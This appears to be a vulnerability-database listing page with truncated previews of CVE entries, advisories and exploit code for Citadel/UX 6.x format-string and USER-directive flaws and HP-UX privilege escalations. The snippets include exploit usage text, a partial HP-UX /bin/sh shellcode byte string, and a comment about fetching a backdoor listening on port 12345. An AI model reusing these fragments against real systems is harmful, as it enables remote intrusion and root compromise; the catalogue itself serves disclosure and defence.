HP-UX newgrp privilege escalation

No description provided...

CVE-2004-1192

Format string vulnerability in the lprintf function in Citadel/UX 6.27 and earlier allows remote attackers to execute arbitrary code via format string specifiers sent to the server...

CVE-2004-1192

CVE-2004-1192 is a format-string vulnerability in Citadel/UX’s lprintf() on version 6.27 and earlier that allows remote attackers to execute arbitrary code by sending format specifiers to the server. Reported impact is complete confidentiality, integrity, and availability compromise with high sev...

Citadel/UX format string bug

Formatr stirng bug on syslog call...

Citadel/UX Remote Format String

Binary data 2454.prm...

Citadel/UX lprintf() Function Remote Format String

The remote host is running Citadel/UX, a messaging server for Unix. There is a format string issue in the remote version of this software. A remote attacker could use this to crash the service, or execute arbitrary code. C Tenable Network Security, Inc. include"compat.inc"; ifdescription...

[UNIX] Citadel/UX Remote Format String

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source...

CitadelUX 6.27 - Format String

CitadelUX 6.27 - Format String / citadelfsexp.c Citadel/UX v6.27 remote format string exploit Use: ./citadelfsexp -h options options: -h host or IP -t type of target system -l targets list -g syslog GOT address -r RET address coki@nosystem:/audit$ ./citadelfsexp -h localhost -t0 Citadel/UX v6.27...

Citadel/UX <= 6.27 Remote Root Format String Exploit

Exploit for linux platform in category remote exploits ==================================================== Citadel/UX options options: -h host or IP -t type of target system -l targets list -g syslog GOT address -r RET address email protected:/audit$ ./citadelfsexp -h localhost -t0 Citadel/UX...

Citadel/UX 6.27 - Format String

/ citadelfsexp.c Citadel/UX v6.27 remote format string exploit Use: ./citadelfsexp -h options options: -h host or IP -t type of target system -l targets list -g syslog GOT address -r RET address coki@nosystem:/audit$ ./citadelfsexp -h localhost -t0 Citadel/UX v6.27 remote format string exploit by...

HP-UX Serviceguard privilege escalation

No description provided...

[security bulletin] SSRT3526 Serviceguard potential increase in privilege

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HP SECURITY BULLETIN HPSBUX01080 REVISION: 0 SSRT3526 rev.0 Serviceguard potential increase in privilege NOTICE: There are no restrictions for distribution of this Bulletin provided that it remains complete and intact. The information in this Security...

CVE-2004-0965

CVE-2004-0965 affects HP-UX stmkfont, with vulnerable releases HP-UX B.11.00–B.11.23. The vulnerability arises because stmkfont relies on the user-specified PATH when executing certain commands, enabling local users to run arbitrary code by placing malicious programs earlier in PATH. The issue is...

CVE-2004-0965

stmkfont in HP-UX B.11.00 through B.11.23 relies on the user-specified PATH when executing certain commands, which allows local users to execute arbitrary code by modifying the PATH environment variable to point to malicious programs...

NSFOCUS SA2004-02 : HP-UX stmkfont Local Privilege Escalation Vulnerability

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 NSFOCUS Security AdvisorySA2004-02 Topic: HP-UX stmkfont Local Privilege Escalation Vulnerability Release Date: 2004-10-20 CVE CAN ID: CAN-2004-0965 http://www.nsfocus.com/english/homepage/research/0402.htm Affected system: =================== - - HP-...

HP-UX stmkfonts privilege escalation

External program is called with relative path...

[Security Bulletin] SSRT4807 HP-UX stmkfont local unauthorized privileged access

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 HP SECURITY BULLETIN HPSBUX01088 REVISION: 0 SSRT4807 rev.0 HP-UX stmkfont local unauthorized privileged access NOTICE: There are no restrictions for distribution of this Bulletin provided that it remains complete and intact. The information in this...

HPUX execve /bin/sh 58 bytes

No description provided by source. / Hp-Ux execve of /bin/sh by K2 / uchar shellcode = "\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40" "\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"...

Citadel/UX 6.23 - Remote USER Directive

/ Citadel/UX remote exploit By nebunu: pppppppal at yahoo dot com This is the version which contains targets,abuse it kiddies Bruteforce: You only have 4096/4=1024 tries. The magic offset lies about 2048 + or - 4,8,16....256 So practically speaking you have maximum 256 tries. Greetings:...

Citadel/UX <= 6.23 Remote USER Directive Exploit (Private Version)

Exploit for linux platform in category remote exploits ================================================================== Citadel/UX include include include include include include include / Place here your own link which contains a backdoor blackhole.c which listens on port 12345 / define COMMAN...